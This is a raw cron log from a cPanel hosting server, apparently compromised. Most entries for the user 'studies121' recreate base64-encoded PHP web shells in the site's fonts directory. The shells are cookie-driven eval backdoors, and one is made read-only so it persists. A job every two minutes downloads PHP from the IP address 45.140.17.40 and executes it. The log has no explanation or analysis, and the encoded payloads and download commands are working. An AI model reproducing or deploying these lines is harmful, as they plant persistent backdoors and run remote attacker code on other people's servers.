Aug 30 18:32:01 ip-184-168-122-23 CROND[24589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:32:01 ip-184-168-122-23 CROND[24591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:33:01 ip-184-168-122-23 CROND[24678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:33:01 ip-184-168-122-23 CROND[24680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:33:01 ip-184-168-122-23 CROND[24679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:33:01 ip-184-168-122-23 CROND[24681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:34:01 ip-184-168-122-23 CROND[24843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:34:01 ip-184-168-122-23 CROND[24845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:34:01 ip-184-168-122-23 CROND[24847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:34:01 ip-184-168-122-23 CROND[24846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:34:01 ip-184-168-122-23 CROND[24848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:35:02 ip-184-168-122-23 CROND[24950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:35:02 ip-184-168-122-23 CROND[24952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:35:02 ip-184-168-122-23 CROND[24954]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 18:35:02 ip-184-168-122-23 CROND[24955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:35:02 ip-184-168-122-23 CROND[24956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:35:02 ip-184-168-122-23 CROND[24957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:35:02 ip-184-168-122-23 CROND[24953]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 18:35:02 ip-184-168-122-23 CROND[24958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:36:01 ip-184-168-122-23 CROND[25081]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:36:01 ip-184-168-122-23 CROND[25084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:36:01 ip-184-168-122-23 CROND[25085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:36:01 ip-184-168-122-23 CROND[25083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:36:01 ip-184-168-122-23 CROND[25086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:37:01 ip-184-168-122-23 CROND[25177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:37:01 ip-184-168-122-23 CROND[25178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:37:01 ip-184-168-122-23 CROND[25179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:37:01 ip-184-168-122-23 CROND[25180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:38:01 ip-184-168-122-23 CROND[25276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:38:01 ip-184-168-122-23 CROND[25275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:38:01 ip-184-168-122-23 CROND[25278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:38:01 ip-184-168-122-23 CROND[25279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:38:01 ip-184-168-122-23 CROND[25277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:39:01 ip-184-168-122-23 CROND[25450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:39:02 ip-184-168-122-23 CROND[25454]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 18:39:02 ip-184-168-122-23 CROND[25455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:39:02 ip-184-168-122-23 CROND[25453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:39:02 ip-184-168-122-23 CROND[25452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:40:01 ip-184-168-122-23 CROND[25537]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 18:40:01 ip-184-168-122-23 CROND[25541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:40:01 ip-184-168-122-23 CROND[25548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:40:01 ip-184-168-122-23 CROND[25551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:40:01 ip-184-168-122-23 CROND[25552]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:40:01 ip-184-168-122-23 CROND[25554]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:40:01 ip-184-168-122-23 CROND[25556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:40:01 ip-184-168-122-23 CROND[25557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:41:01 ip-184-168-122-23 CROND[25637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:41:01 ip-184-168-122-23 CROND[25638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:41:01 ip-184-168-122-23 CROND[25639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:41:01 ip-184-168-122-23 CROND[25640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:42:01 ip-184-168-122-23 CROND[25722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:42:01 ip-184-168-122-23 CROND[25721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:42:01 ip-184-168-122-23 CROND[25724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:42:01 ip-184-168-122-23 CROND[25725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:42:01 ip-184-168-122-23 CROND[25723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:43:01 ip-184-168-122-23 CROND[25908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:43:01 ip-184-168-122-23 CROND[25910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:43:01 ip-184-168-122-23 CROND[25912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:43:01 ip-184-168-122-23 CROND[25911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:44:01 ip-184-168-122-23 CROND[26011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:44:01 ip-184-168-122-23 CROND[26013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:44:01 ip-184-168-122-23 CROND[26015]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:44:01 ip-184-168-122-23 CROND[26017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
